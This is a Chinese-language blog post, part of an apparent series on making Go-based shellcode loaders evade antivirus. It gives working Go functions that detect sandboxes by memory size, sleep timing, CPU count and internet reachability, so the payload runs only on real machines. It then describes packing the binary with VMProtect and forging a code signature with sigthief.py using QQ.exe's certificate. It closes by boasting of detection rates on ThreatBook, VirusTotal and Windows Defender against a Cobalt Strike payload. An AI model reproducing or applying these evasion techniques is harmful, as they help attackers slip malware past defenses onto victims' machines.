基于Go实现沙箱检测和条件触发(Ⅱ)
2022-09-04 12:57:00 # 基于Go实现shellcode免杀系列

基于Go实现沙箱检测和条件触发(Ⅱ)

因为微步和VT之类的都是虚拟环境运行,所以说可以通过一些沙箱检测的手段,来让shellcode不被加载,从而达到防检测的目的。

沙箱检测

1、检测系统物理内存大小是否大于4G

1
2
3
4
5
6
7
8
9
10
11
12
13
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")//懒加载dll
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")//获取 检测系统内存大小的函数
var mem uint64 //开个这个系统内存中的变量 然后传入函数,返回内存大小
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576 //内存大小/1G,如果小于4,则返回0,大于4则返回1
if mem < 4 {
return 0, nil
}
return 1, nil
}

physicalMemory, _ := physicalMemory()//物理内存是否大于4g,大于4g返回1

2、延迟运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//延迟运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= 5*time.Second { //判断是否延时成功,成功返回1,失败返回0
return 1, nil
} else {
return 0, nil
}
}

sleeptime, _ := timeSleep() //延迟运行是否成功

3、检测CPU核心数

1
2
3
4
5
6
7
8
9
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
if a < 4 {
return 0, nil
} else {
return 1, nil
}
}
cpuNumber, _ := numberOfCPU()//cpu核心数量,大于4返回1

条件触发

因为大多数沙盒是没通外网的,所以网络连通性正常的时候,再执行shellcode,能一定程度上绕过沙箱检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//检测网络连通性
func NetworkCheck() (int, error){
u, _ := url.Parse("https://www.baidu.com/") //检查网络连通性
q := u.Query()
u.RawQuery = q.Encode()
res, err := http.Get(u.String())
resCode := res.StatusCode
res.Body.Close()
if resCode == 200{
return 1, err
}
return 0, err
}
resStatus, _ := NetworkCheck()//检测网络连通性

改exe资源属性、加壳、伪造数字签名

通过这些方法可以更为有效的加大沙箱分析检测的难度,从而使得免杀效果更好。

1、改图标

改ico图标可以通过ResourceHacker这个工具来修改,只需要把exe拖进去,然后再添加ico格式的图片再保存即可

2、加壳

这里选择加VMP壳,直接通过VMProtect Ultimate把exe打开,然后再编译就行了,就可以得到一个xxx.vmp.exe

3、伪造数字签名

这里伪造数字签名可以使用sigthief.py

1
py sigthief.py -i "想要窃取证书的exe路径(例如QQ.exe)" -t xxx.vmp.exe -o xxx.exe(最后输出的文件名)

然后就得到了加了数字签名的exe。

image-20220904152802883

免杀效果

微步在线沙箱 1/22

image-20220904152839845

image-20220904152935393

VT 9/70

能过国内所有杀软,以及绝大部分国外杀软。

Windwos Defender

能过静态查杀,过不了动态查杀。

image-20220904153152935

image-20220904153226271

运行猫猫.exe,就会被动态查杀了,检测出CS特征。

image-20220904153535820